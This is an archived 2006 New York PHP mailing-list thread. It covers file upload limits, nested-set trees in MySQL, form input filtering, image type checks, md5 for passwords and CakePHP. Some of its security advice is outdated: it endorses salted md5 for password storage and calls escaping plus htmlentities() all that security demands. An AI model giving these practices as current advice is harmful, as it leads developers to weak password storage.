Actually there is ONE HTML sided way... Directly before the tag, put an eg. HTH, Edward JS Prevost II Me at EdwardPrevost.info www.EdwardPrevost.info ----- Original Message ----- From: "Craig Thomas" To: "NYPHP Talk" Sent: Thursday, July 27, 2006 12:31 PM Subject: Re: [nycphp-talk] Uploading file size issues Corey Fogarty wrote: > I use file uploaders often. Most recently I have been using it as a way > for clients to upload Flash files as part of a database application. The > .swf?s are usually 2-10mg and in some cases the browser sits and sits > and apparently never really uploads the file. I looked all over for file > size limitations on the type=file HTML form element but found nothing > specific. They don't exist. Even controlling the look of the browse button is a pain. The type=file element has no ability to actually read info from the hard drive of the client [which is right, security wise]. The file is POSTED to the server and processed. > Has anyone else experienced this? Is it a browser issue? Network speed > issue? PHP issue? And if it is a known issue, is it better to fall back > on FTP and a manual entry in the database? PHP/Apache [web-server] issue. Lots of settings can affect this, but these two [in the .php file]: ini_set("memory_limit","20M"); ini_set("max_execution_time","60"); have solved the problem for me in the past [large jpgs]. In php.ini there is also a max_upload setting, and Apache can also limit the upload size. HTH, _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From chsnyder at gmail.com Thu Jul 27 18:24:56 2006 From: chsnyder at gmail.com (csnyder) Date: Thu, 27 Jul 2006 18:24:56 -0400 Subject: [nycphp-talk] Building trees In-Reply-To: <005101c6b120$bbd005c0$6c0aa8c0@MobileZ> References: <44C81777.5000308@bizcomputinginc.com> <005101c6b120$bbd005c0$6c0aa8c0@MobileZ> Message-ID: On 7/26/06, Hans Zaunere wrote: > > > Jim Hendricks wrote on Wednesday, July 26, 2006 9:32 PM: > > I've got somewhere in my library of routines a set of routines for > > trees using nested subsets. It worked with mysql and if I recall > > correctly the queries were all simple enough without the need for > > subqueries. I also seem to recall Hans working on a nested subset > > lib and discussing it on this list. > > An NSM related presentation a while back: > > http://www.nyphp.org/content/presentations/nyphp/index.php?slide=2 > > > Old school code: > > http://cvs.nyphp.org/cvsweb.cgi/clew/Attic/pnsm.pcom > > http://cvs.nyphp.org/cvsweb.cgi/clew/lib/ > > > And search here: > > http://www.nyphp.org/google.php > > for things like 'nsm' for a lot of discussion. > The NSM works great (I use it everywhere), but beware of long insert times in tables larger than 50,000 nodes. The Clew code referenced above does not include methods for moving nodes, unfortunately, and that's one of the harder operations to get your head around. It involves 3 updates. Pretend this is a nested set, where each letter is a node: xxxmmmzzzzxxxx The nodes marked m are the ones you want to move, and you want to move them so that they are to the right of the nodes marked z. 1) right-shift the m nodes past the end of the nested set, which creates a 3-node gap 2) left-shift the z nodes by 3 so that they fill the gap to the left, and create a corresponding gap to the right 3) left-shift the m nodes into the new gap, to the right of the last z The result: xxxzzzzmmmxxxx As Cliff pointed out, be sure to use an InnoDB table so that you can combine the updates into a single transaction. Also, it's really important from a performance point of view to limit the table structure to integers only. Fixed-width columns speed the update operation that increments al of the left and right values in the table. That's why the node and content tables are kept separate, and share a nodeid key. -- Chris Snyder http://chxo.com/ From smanes at magpie.com Thu Jul 27 18:34:08 2006 From: smanes at magpie.com (Steve Manes) Date: Thu, 27 Jul 2006 18:34:08 -0400 Subject: [nycphp-talk] Building trees In-Reply-To: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com> References: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com> Message-ID: <44C93F60.4070006@magpie.com> Brian O'Connor wrote: > Right now I'm building a site that has a "tree" like structure, and > right now in order to get the children I'm using a recursive function to > get them all, works fine, but that strikes me as inefficient and I'm > trying to find a way to get it with one query, rather than a variable > amount of queries based on how many 'events' a user has. If you're using PostgreSQL, I highly recommend loading the 'tablefunc' package in the /contrib directory. It includes support for an Oracle-like CONNECT BY/START WITH, which makes supporting a tree structure easy-breezy. From chsnyder at gmail.com Thu Jul 27 18:50:11 2006 From: chsnyder at gmail.com (csnyder) Date: Thu, 27 Jul 2006 18:50:11 -0400 Subject: [nycphp-talk] Filtering form input In-Reply-To: <44C8DE69.1040106@email.smith.edu> References: <44C8DE69.1040106@email.smith.edu> Message-ID: On 7/27/06, Aaron Fischer wrote: > Greetings listers, > > I'm working on some new forms and would like to make them more secure by > filtering the input. I recently purchased and have at least partially > digested Essential PHP Security by Chris Shiflett and The PHP Anthology > by Harry Fuecks. Based on this material I can see two possible paths ahead. > > 1. Use the clean_array() approach and filter input data using PHP > methods and/or regex expressions. > 2. Install the Pear package HTML_QuickForm and use for validating > (filtering) input data. > > I was leaning toward #1 but have very little experience with regex. > It's probably implausible, particularly given time constraints, for me > to attempt to build regex expressions for my form fields. Are there any > resources online for regex expressions that people would recommend for > filtering input? Secondly, in Chris's book I see ctype_alnum() and > html_entities() as two methods recommended to use for filtering. Are > there other PHP methods folks would recommend? > > I slogged through Pear and HTML_QuickForm a bit. I haven't worked with > Pear packages yet and am in a shared hosting environment, so I'm > currently attempting to see what, if anything, is enabled and/or > installed for Pear on my server. > > Would appreciate any advice or recommendations for how to proceed with > either method #1 or #2. At this point I would be satisfied with minimal > improvements to security as it would be a step in the right direction > and I can improve my filtering techniques during the next project. > > Thanks, > > -Aaron The complexity of the solution depends one what, exactly, you need to accomplish. Assuming you are working on a PHP+MySQL application, the simplest possible approach is just to use mysql_real_escape_string() on all values that are inserted into the database, and htmlentities() on all values that come out of the database for display on a web page. This is all that "security" really demands. You may also wish to avoid any error messages that might occur when your application tries to insert a string into an integer field. The is_numeric() function is great for this. I advise against using the ctype functions, as they are somewhat counterintuitive when it comes to checking empty values. It's also a good idea to check the length of strings before inserting them into varchar fields, using the strlen() function. MySQL won't throw an error if you insert a string that's too long; you'll only find out later that the string was truncated and the data lost. Beyond security, the smooth functioning of your application probably depends on using some techniques to determine that user-submitted values match expected input, such as strings without punctuation (for filenames), choices from a predetermined list of values (use in_array()), or strings that look like email addresses. Email addresses are about the only thing you need complex regex for; John Coggeshall wrote a tutorial on this that has a good, simple test: http://www.zend.com/zend/spotlight/ev12apr.php Avoid the temptation to ask the MX server whether the address exists; most servers these days refuse to give any sort of definitive answer. -- Chris Snyder http://chxo.com/ From edwardpotter at gmail.com Thu Jul 27 19:53:22 2006 From: edwardpotter at gmail.com (edward potter) Date: Thu, 27 Jul 2006 19:53:22 -0400 Subject: [nycphp-talk] Filtering form input In-Reply-To: <44C8DE69.1040106@email.smith.edu> References: <44C8DE69.1040106@email.smith.edu> Message-ID: Using Javascript to handle all of this also give nice feedback to your users. Back that up (of course!) with the php tips here, and you are pretty set. -ed :-) On 7/27/06, Aaron Fischer wrote: > Greetings listers, > > I'm working on some new forms and would like to make them more secure by > filtering the input. I recently purchased and have at least partially > digested Essential PHP Security by Chris Shiflett and The PHP Anthology > by Harry Fuecks. Based on this material I can see two possible paths ahead. > > 1. Use the clean_array() approach and filter input data using PHP > methods and/or regex expressions. > 2. Install the Pear package HTML_QuickForm and use for validating > (filtering) input data. > > I was leaning toward #1 but have very little experience with regex. > It's probably implausible, particularly given time constraints, for me > to attempt to build regex expressions for my form fields. Are there any > resources online for regex expressions that people would recommend for > filtering input? Secondly, in Chris's book I see ctype_alnum() and > html_entities() as two methods recommended to use for filtering. Are > there other PHP methods folks would recommend? > > I slogged through Pear and HTML_QuickForm a bit. I haven't worked with > Pear packages yet and am in a shared hosting environment, so I'm > currently attempting to see what, if anything, is enabled and/or > installed for Pear on my server. > > Would appreciate any advice or recommendations for how to proceed with > either method #1 or #2. At this point I would be satisfied with minimal > improvements to security as it would be a step in the right direction > and I can improve my filtering techniques during the next project. > > Thanks, > > -Aaron > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > From gatzby3jr at gmail.com Fri Jul 28 00:08:46 2006 From: gatzby3jr at gmail.com (Brian O'Connor) Date: Fri, 28 Jul 2006 00:08:46 -0400 Subject: [nycphp-talk] Building trees In-Reply-To: <44C93F60.4070006@magpie.com> References: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com> <44C93F60.4070006@magpie.com> Message-ID: <29da5d150607272108v446103a2lc8c7757cb645bb71@mail.gmail.com> I'm using mysql (sorry, should have posted it on that list instead of talk). I looked into the NSM, however my fear is the insert / update time. The site is based on flexibility of being able to change your 'events'. I'm still weighing the pros and cons of each method. Thanks for all the input, its greatly appreciated. - Brian On 7/27/06, Steve Manes wrote: > > Brian O'Connor wrote: > > Right now I'm building a site that has a "tree" like structure, and > > right now in order to get the children I'm using a recursive function to > > get them all, works fine, but that strikes me as inefficient and I'm > > trying to find a way to get it with one query, rather than a variable > > amount of queries based on how many 'events' a user has. > > If you're using PostgreSQL, I highly recommend loading the 'tablefunc' > package in the /contrib directory. It includes support for an > Oracle-like CONNECT BY/START WITH, which makes supporting a tree > structure easy-breezy. > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > -- Brian O'Connor -------------- next part -------------- An HTML attachment was scrubbed... URL: From ashaw at polymerdb.org Fri Jul 28 08:37:33 2006 From: ashaw at polymerdb.org (Allen Shaw) Date: Fri, 28 Jul 2006 07:37:33 -0500 Subject: [nycphp-talk] Building trees In-Reply-To: <29da5d150607272108v446103a2lc8c7757cb645bb71@mail.gmail.com> References: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com> <44C93F60.4070006@magpie.com> <29da5d150607272108v446103a2lc8c7757cb645bb71@mail.gmail.com> Message-ID: <44CA050D.7090507@polymerdb.org> An important question, then, is how much the structure will change vs. how much it will be read. As with many things, you save with one but pay more for the other, and you have to decide where to cut your losses. Only you know the answer, of course, but it seems like people wouldn't be changing 'events' as much as they'd be reading about them, no? - Allen Brian O'Connor wrote: > I'm using mysql (sorry, should have posted it on that list instead of talk). > > I looked into the NSM, however my fear is the insert / update time. The > site is based on flexibility of being able to change your 'events'. > > I'm still weighing the pros and cons of each method. > > Thanks for all the input, its greatly appreciated. > > - Brian -- Allen Shaw Polymer (http://polymerdb.org) From dcech at phpwerx.net Fri Jul 28 08:39:33 2006 From: dcech at phpwerx.net (Dan Cech) Date: Fri, 28 Jul 2006 08:39:33 -0400 Subject: [nycphp-talk] Building trees In-Reply-To: <29da5d150607272108v446103a2lc8c7757cb645bb71@mail.gmail.com> References: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com> <44C93F60.4070006@magpie.com> <29da5d150607272108v446103a2lc8c7757cb645bb71@mail.gmail.com> Message-ID: <44CA0585.3050803@phpwerx.net> Brian O'Connor wrote: > I'm using mysql (sorry, should have posted it on that list instead of > talk). > > I looked into the NSM, however my fear is the insert / update time. The > site is based on flexibility of being able to change your 'events'. > > I'm still weighing the pros and cons of each method. > > Thanks for all the input, its greatly appreciated. > > - Brian If your tree is relatively shallow you can use the regular parent_id structure and 'cheat' by grabbing the number of children each node has so that you only need to recurse for nodes that actually have children. Example: SELECT t1.*,count(t2.id) FROM mytable AS t1 JOIN mytable AS t2 ON t2.parent_id=t1.id WHERE t1.parent_id=0 GROUP BY t1.id This will give you a list of all the 'root' elements, and a count of each elements children, to get the next level you can iterate over them and grab the children. I have used this structure a couple of times and you'll cut your number of queries by the number of 'leaf' nodes in the tree vs the regular approach of checking each node for children individually. Of course, I've also done a fair bit of work on MPTT (Modified Preorder Traversal Tree) models, you can find some code I cooked up a few years ago here: http://clew.phpwerx.net/ And also check out phpGACL: http://phpgacl.sourceforge.net/ The nice thing about MPTT is that if you're careful you can make the system tolerant of gaps in the left and right values, and thus the tree need not be in an invalid state at any point. Also, because we still store the parent id, you can easily grab just the direct parents or children of a given node, and also rebuild the left and right values in a disaster recovery situation. Dan From lists at zaunere.com Fri Jul 28 08:49:19 2006 From: lists at zaunere.com (Hans Zaunere) Date: Fri, 28 Jul 2006 08:49:19 -0400 Subject: [nycphp-talk] Building trees In-Reply-To: Message-ID: <004c01c6b244$3e66e9d0$0202fea9@MobileZ> csnyder wrote on Thursday, July 27, 2006 6:25 PM: > On 7/26/06, Hans Zaunere wrote: > > > > > > Jim Hendricks wrote on Wednesday, July 26, 2006 9:32 PM: > > > I've got somewhere in my library of routines a set of routines > > > for trees using nested subsets. It worked with mysql and if I > > > recall correctly the queries were all simple enough without the > > > need for subqueries. I also seem to recall Hans working on a > > > nested subset lib and discussing it on this list. > > > > An NSM related presentation a while back: > > > > http://www.nyphp.org/content/presentations/nyphp/index.php?slide=2 > > > > > > Old school code: > > > > http://cvs.nyphp.org/cvsweb.cgi/clew/Attic/pnsm.pcom > > > > http://cvs.nyphp.org/cvsweb.cgi/clew/lib/ > > > > > > And search here: > > > > http://www.nyphp.org/google.php > > > > for things like 'nsm' for a lot of discussion. > > > > > The NSM works great (I use it everywhere), but beware of long insert > times in tables larger than 50,000 nodes. One of the ways to deal with this is to introduce fragmentation. This book is a must have: http://www.amazon.com/gp/product/1558609202/002-4209242-6172841?v=glance&n=2 83155 Among other things, an interesting approach that he introduces is the fragmentation of the nested sets. For instance, you start the nested set numbering (ie, number line) in multiples of hundreds, when an insert comes along, you only have to update the rows within your fragment. Then, on a maintenance basis, you can renumber the entire numbering line to keep some level of fragments. Joe Celko goes into details about this, the pros/cons, and other techniques. --- Hans Zaunere / President / New York PHP www.nyphp.org / www.nyphp.com From dmintz at davidmintz.org Fri Jul 28 09:27:38 2006 From: dmintz at davidmintz.org (David Mintz) Date: Fri, 28 Jul 2006 09:27:38 -0400 (EDT) Subject: [nycphp-talk] Filtering form input In-Reply-To: References: <44C8DE69.1040106@email.smith.edu> Message-ID: On Thu, 27 Jul 2006, edward potter wrote: > Using Javascript to handle all of this also give nice feedback to your > users. Back that up (of course!) with the php tips here, and you are > pretty set. And make sure to use DHTML to put the Javascript validation errrors in a DIV or something, instead of an alert box. alert() is soooo Web 1.0 And when you're done with all that don't forget to pick up my dry cleaning, clean the kitchen and take out the garbage. --- David Mintz http://davidmintz.org/ Amendment IV The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized. From agfische at email.smith.edu Fri Jul 28 10:43:33 2006 From: agfische at email.smith.edu (Aaron Fischer) Date: Fri, 28 Jul 2006 10:43:33 -0400 Subject: [nycphp-talk] Filtering form input In-Reply-To: References: <44C8DE69.1040106@email.smith.edu> Message-ID: <44CA2295.2030409@email.smith.edu> Thanks Chris et al., that's very helpful information. -Aaron csnyder wrote: >> >>Would appreciate any advice or recommendations for how to proceed with >>either method #1 or #2. At this point I would be satisfied with minimal >>improvements to security as it would be a step in the right direction >>and I can improve my filtering techniques during the next project. >> >>Thanks, >> >>-Aaron > > > > The complexity of the solution depends one what, exactly, you need to > accomplish. Assuming you are working on a PHP+MySQL application, the > simplest possible approach is just to use mysql_real_escape_string() > on all values that are inserted into the database, and htmlentities() > on all values that come out of the database for display on a web page. > > This is all that "security" really demands. > > You may also wish to avoid any error messages that might occur when > your application tries to insert a string into an integer field. The > is_numeric() function is great for this. I advise against using the > ctype functions, as they are somewhat counterintuitive when it comes > to checking empty values. > > It's also a good idea to check the length of strings before inserting > them into varchar fields, using the strlen() function. MySQL won't > throw an error if you insert a string that's too long; you'll only > find out later that the string was truncated and the data lost. > > Beyond security, the smooth functioning of your application probably > depends on using some techniques to determine that user-submitted > values match expected input, such as strings without punctuation (for > filenames), choices from a predetermined list of values (use > in_array()), or strings that look like email addresses. > > Email addresses are about the only thing you need complex regex for; > John Coggeshall wrote a tutorial on this that has a good, simple test: > http://www.zend.com/zend/spotlight/ev12apr.php > Avoid the temptation to ask the MX server whether the address exists; > most servers these days refuse to give any sort of definitive answer. > > From gatzby3jr at gmail.com Fri Jul 28 10:56:25 2006 From: gatzby3jr at gmail.com (Brian O'Connor) Date: Fri, 28 Jul 2006 10:56:25 -0400 Subject: [nycphp-talk] Building trees In-Reply-To: <44CA050D.7090507@polymerdb.org> References: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com> <44C93F60.4070006@magpie.com> <29da5d150607272108v446103a2lc8c7757cb645bb71@mail.gmail.com> <44CA050D.7090507@polymerdb.org> Message-ID: <29da5d150607280756q1c713e19j6fa9b35c6931b7c8@mail.gmail.com> It's not that people wouldn't be vieweing them more, its that I don't think the depth of the tree would be enough to warrant sacrifice in adding / moving. I can't see many users going past 3 - 4 levels of depth, but I want them to be able to, which is why I don't just denormalize it. The current query is very similar to the Dan suggested ( with some obvious changes for my structure). On 7/28/06, Allen Shaw wrote: > > An important question, then, is how much the structure will change vs. > how much it will be read. As with many things, you save with one but > pay more for the other, and you have to decide where to cut your losses. > Only you know the answer, of course, but it seems like people wouldn't > be changing 'events' as much as they'd be reading about them, no? > > - Allen > > Brian O'Connor wrote: > > I'm using mysql (sorry, should have posted it on that list instead of > talk). > > > > I looked into the NSM, however my fear is the insert / update time. The > > site is based on flexibility of being able to change your 'events'. > > > > I'm still weighing the pros and cons of each method. > > > > Thanks for all the input, its greatly appreciated. > > > > - Brian > > > -- > Allen Shaw > Polymer (http://polymerdb.org) > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > -- Brian O'Connor -------------- next part -------------- An HTML attachment was scrubbed... URL: From daniela at ula.ve Fri Jul 28 11:21:52 2006 From: daniela at ula.ve (Daniela Gutierrez) Date: Fri, 28 Jul 2006 11:21:52 -0400 Subject: [nycphp-talk] uploaded files In-Reply-To: References: <44C78C24.6060409@ula.ve> Message-ID: <44CA2B90.9090502@ula.ve> Thanks Chris, I've already tried getimagesize() and it works great, but I also might allow the users to upload an image as pdf or some others formats like tif or may be bmp I don't know yet, but I think that I could validate those types of files with a system call to `file -i`, I would give me the type of file also, I'm not sure if it's safe but I'm gonna try and see what happens, thanks for your answer, I appreciate it so much! Daniela csnyder wrote: >On 7/26/06, Daniela Gutierrez wrote: > > >>Hi everybody! >> >>I would like to know how to verify that the files they had been uploaded >>by some user are j peg, because I only want them to upload images and I >>also want to be sure that they are not uploading some kind of malicious >>files. Is there any function or something like it that I could use?? >>Thanks, and sorry for my English ;) >> >> > >To reiterate Tedd Sperling's advice, the best way to check whether an >uploaded file is a jpeg is to use getimagesize() and check that index >2 of the returned array is equal to 2. (http://php.net/getimagesize >for details) > >Checking the file extension will miss jpegs uploaded from a Macintosh >(which might not have an extension). > > > From agfische at email.smith.edu Fri Jul 28 11:38:23 2006 From: agfische at email.smith.edu (Aaron Fischer) Date: Fri, 28 Jul 2006 11:38:23 -0400 Subject: [nycphp-talk] md5 string length max? Message-ID: <44CA2F6F.5030402@email.smith.edu> Greetings again listers, Is there a maximum string length that md5() can take? I don't see a mention of one in the PHP manual. I am considering using a salt and md5() to store password information in MySQL. If there is a max string length then I will inform my users when they attempt to create a new account. I have seen some web applications require a password that is a min of 6 or 8 chars and a max of 32... Thanks, -Aaron From preinheimer at gmail.com Fri Jul 28 11:44:14 2006 From: preinheimer at gmail.com (Paul Reinheimer) Date: Fri, 28 Jul 2006 11:44:14 -0400 Subject: [nycphp-talk] md5 string length max? In-Reply-To: <44CA2F6F.5030402@email.smith.edu> References: <44CA2F6F.5030402@email.smith.edu> Message-ID: <6ec19ec70607280844wb536137yf8a90f35187dab68@mail.gmail.com> MD5 isn't going to encounter any problems hashing passwords, it's regularily used to hash entire files (just to make sure the one in PHP was fine I just hashed a 5MB file, biggest one i had handy, no problems) to ensure they are downloaded without error. So for passwords, the limit is going to be memory, not the hashing alg. :) paul On 7/28/06, Aaron Fischer wrote: > > Greetings again listers, > > Is there a maximum string length that md5() can take? I don't see a > mention of one in the PHP manual. > > I am considering using a salt and md5() to store password information in > MySQL. > > If there is a max string length then I will inform my users when they > attempt to create a new account. I have seen some web applications > require a password that is a min of 6 or 8 chars and a max of 32... > > Thanks, > > -Aaron > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > -- Paul Reinheimer Zend Certified Engineer -------------- next part -------------- An HTML attachment was scrubbed... URL: From preinheimer at gmail.com Fri Jul 28 11:44:51 2006 From: preinheimer at gmail.com (Paul Reinheimer) Date: Fri, 28 Jul 2006 11:44:51 -0400 Subject: [nycphp-talk] md5 string length max? In-Reply-To: <6ec19ec70607280844wb536137yf8a90f35187dab68@mail.gmail.com> References: <44CA2F6F.5030402@email.smith.edu> <6ec19ec70607280844wb536137yf8a90f35187dab68@mail.gmail.com> Message-ID: <6ec19ec70607280844j15e69ccl53d8765159fae1ef@mail.gmail.com> Hit the send button too quick. I mean the individuals memory, not the computers. paul On 7/28/06, Paul Reinheimer wrote: > > MD5 isn't going to encounter any problems hashing passwords, it's > regularily used to hash entire files (just to make sure the one in PHP > was fine I just hashed a 5MB file, biggest one i had handy, no problems) > to ensure they are downloaded without error. > > So for passwords, the limit is going to be memory, not the hashing alg. > > :) > paul > > > > On 7/28/06, Aaron Fischer < agfische at email.smith.edu> wrote: > > > > Greetings again listers, > > > > Is there a maximum string length that md5() can take? I don't see a > > mention of one in the PHP manual. > > > > I am considering using a salt and md5() to store password information in > > MySQL. > > > > If there is a max string length then I will inform my users when they > > attempt to create a new account. I have seen some web applications > > require a password that is a min of 6 or 8 chars and a max of 32... > > > > Thanks, > > > > -Aaron > > _______________________________________________ > > New York PHP Community Talk Mailing List > > http://lists.nyphp.org/mailman/listinfo/talk > > > > NYPHPCon 2006 Presentations Online > > http://www.nyphpcon.com > > > > Show Your Participation in New York PHP > > http://www.nyphp.org/show_participation.php > > > > > > -- > Paul Reinheimer > Zend Certified Engineer > -- Paul Reinheimer Zend Certified Engineer -------------- next part -------------- An HTML attachment was scrubbed... URL: From chsnyder at gmail.com Fri Jul 28 12:18:57 2006 From: chsnyder at gmail.com (csnyder) Date: Fri, 28 Jul 2006 12:18:57 -0400 Subject: [nycphp-talk] uploaded files In-Reply-To: <44CA2B90.9090502@ula.ve> References: <44C78C24.6060409@ula.ve> <44CA2B90.9090502@ula.ve> Message-ID: On 7/28/06, Daniela Gutierrez wrote: > Thanks Chris, I've already tried getimagesize() and it works great, but > I also might allow the users to upload an image as pdf or some others > formats like tif or may be bmp I don't know yet, but I think that I > could validate those types of files with a system call to `file -i`, I > would give me the type of file also, I'm not sure if it's safe but I'm > gonna try and see what happens, thanks for your answer, I appreciate it > so much! > > Daniela Using `file -i` should be perfectly safe, as you won't be including any user-submitted info in the command. An excellent solution, though you may find that it's not always accurate against new or unusual formats. If you run into problems, you might also try the FileInfo extension (http://php.net/fileinfo), which seems to use a different database. From dmintz at davidmintz.org Fri Jul 28 15:28:17 2006 From: dmintz at davidmintz.org (David Mintz) Date: Fri, 28 Jul 2006 15:28:17 -0400 (EDT) Subject: [nycphp-talk] CakePHP: what do you think? Message-ID: I know it's come up briefly on the list in the past, but imho it's time once again to ask if people are using cakePHP (http://cakephp.org/) and if so, what do you think? I think it's extremely promising, but I also think it has a bit of a initial learning curve, at least for mere mortals, that seems to belie the name. Somebody oughta give an NYPHP presentation about it (said he, as he ducked under the desk). --- David Mintz http://davidmintz.org/ Amendment IV The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized. From jbaer at VillageVoice.com Fri Jul 28 16:14:52 2006 From: jbaer at VillageVoice.com (Baer, Jon) Date: Fri, 28 Jul 2006 16:14:52 -0400 Subject: [nycphp-talk] CakePHP: what do you think? References: Message-ID: <4D2FAD9B00577645932AD7ED5FECA245029395C9@mail> Using it alot .. im using it after spending a good 6 months w/ Ruby on Rails though so my opinion might be one sided, overall it gives a good feeling of knowing that when something break you know *exactly* where to look .. which probably leads to this "agile" thing :-) The best thing to probably look @ if you decide to pick it up is the Cajax helper by rossoft (he writes alot of nice Cake plugins - http://rossoft.wordpress.com) which is like RJS in Rails and lets you do that nice Ajaxy stuff w/ Prototype/Scriptaculous libraries. What probably amazes me the most about it is how they seemlessly made it work w/ PHP4 and still use much of the OO hooks. I like both RoR and Cake but when it comes to deployment PHP wins out in the support area, I still dont think they have figured out the best solution in Rails and the fact that the Bake command does alot more work make it nicer to work with. Id be more interested in hearing what Mitch or the Joomla folks think about them (I missed the meeting) but definatley would have been a question I would have asked ... picking frameworks vs. rolling your own ... - Jon -----Original Message----- From: talk-bounces at lists.nyphp.org on behalf of David Mintz Sent: Fri 7/28/2006 3:28 PM To: talk at lists.nyphp.org Subject: [nycphp-talk] CakePHP: what do you think? I know it's come up briefly on the list in the past, but imho it's time once again to ask if people are using cakePHP (http://cakephp.org/) and if so, what do you think? I think it's extremely promising, but I also think it has a bit of a initial learning curve, at least for mere mortals, that seems to belie the name. Somebody oughta give an NYPHP presentation about it (said he, as he ducked under the desk). --- David Mintz http://davidmintz.org/ Amendment IV The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized. _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php -------------- next part -------------- A non-text attachment was scrubbed... Name: winmail.dat Type: application/ms-tnef Size: 3933 bytes Desc: not available URL: From mwithington at PLMresearch.com Fri Jul 28 16:33:01 2006 From: mwithington at PLMresearch.com (Mark Withington) Date: Fri, 28 Jul 2006 16:33:01 -0400 Subject: [nycphp-talk] CakePHP: what do you think? Message-ID: <1F3CD8DDFB6A9B4C9B8DD06E4A7DE35801639A89@network.PLMresearch.com> If anyone if planning to be in Boston the evening of Thursday, October 5th 06 (yah, I know it's a long shot) we're going to do a PHP framework bake off with Cake (and one of the core devs), Zend, Horde, etc. More info here: http://www.bostonphp.org/component/option,com_gigcal/task,details/gigcal_gig s_id,20/ Everyone is welcome. Cheers, Mark ------------------------------------------- Mark L. Withington Benevolent Dictator and acting President BostonPHP.org "supporting the PHP/OSS community" PO Box 1354 Plymouth, MA 02362 o: 800-310-3992 ext. 704 f: 508-746-4973 v: 508-746-2383/508-570-2285 m: 508-801-0181 http://www.BostonPHP.org AIM: BostonPHP > -----Original Message----- > From: Baer, Jon [mailto:talk-bounces at lists.nyphp.org] On > Behalf Of Baer, Jon > Sent: Friday, July 28, 2006 4:15 PM > To: NYPHP Talk > Subject: RE: [nycphp-talk] CakePHP: what do you think? > > > Using it alot .. im using it after spending a good 6 months > w/ Ruby on Rails though so my opinion might be one sided, > overall it gives a good feeling of knowing that when > something break you know *exactly* where to look .. which > probably leads to this "agile" thing :-) > > The best thing to probably look @ if you decide to pick it up > is the Cajax helper by rossoft (he writes alot of nice Cake > plugins - http://rossoft.wordpress.com) which is like RJS in > Rails and lets you do that nice Ajaxy stuff w/ > Prototype/Scriptaculous libraries. > > What probably amazes me the most about it is how they > seemlessly made it work w/ PHP4 and still use much of the OO hooks. > > I like both RoR and Cake but when it comes to deployment PHP > wins out in the support area, I still dont think they have > figured out the best solution in Rails and the fact that the > Bake command does alot more work make it nicer to work with. > > Id be more interested in hearing what Mitch or the Joomla > folks think about them (I missed the meeting) but definatley > would have been a question I would have asked ... picking > frameworks vs. rolling your own ... > > - Jon > > -----Original Message----- > From: talk-bounces at lists.nyphp.org on behalf of David Mintz > Sent: Fri 7/28/2006 3:28 PM > To: talk at lists.nyphp.org > Subject: [nycphp-talk] CakePHP: what do you think? > > > I know it's come up briefly on the list in the past, but imho > it's time once again to ask if people are using cakePHP > (http://cakephp.org/) and if so, what do you think? > > I think > it's extremely promising, but I also think it has a bit of a > initial learning curve, at least for mere mortals, that seems > to belie the name. > > Somebody oughta give an NYPHP presentation about it (said he, > as he ducked under the desk). > > --- > David Mintz > http://davidmintz.org/ > > Amendment IV > > The right of the people to be secure in their > persons, houses, papers, and effects, against > unreasonable searches and seizures, shall not be > violated, and no Warrants shall issue, but upon > probable cause, supported by Oath or affirmation, > and particularly describing the place to be > searched, and the persons or things to be seized. > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 > Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/ms-tnef Size: 4041 bytes Desc: not available URL: From mitch.pirtle at gmail.com Fri Jul 28 16:47:42 2006 From: mitch.pirtle at gmail.com (Mitch Pirtle) Date: Fri, 28 Jul 2006 16:47:42 -0400 Subject: [nycphp-talk] CakePHP: what do you think? In-Reply-To: <4D2FAD9B00577645932AD7ED5FECA245029395C9@mail> References: <4D2FAD9B00577645932AD7ED5FECA245029395C9@mail> Message-ID: <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com> On 7/28/06, Baer, Jon wrote: > > Id be more interested in hearing what Mitch or the Joomla folks think about them (I missed the meeting) but definatley would have been a question I would have asked ... picking frameworks vs. rolling your own ... At this point, you're crazy starting your own, there are already a glut of them to choose from. That's the answer I would have given you had you been there to ask ;-) When I presented the 1.5 API to BostonPHP I met with one of the CakePHP guys at the irish pub across the street. I'm asking him if he's interested in making a talk here at NYPHP, and am quietly hopeful. Speaking of build environments, 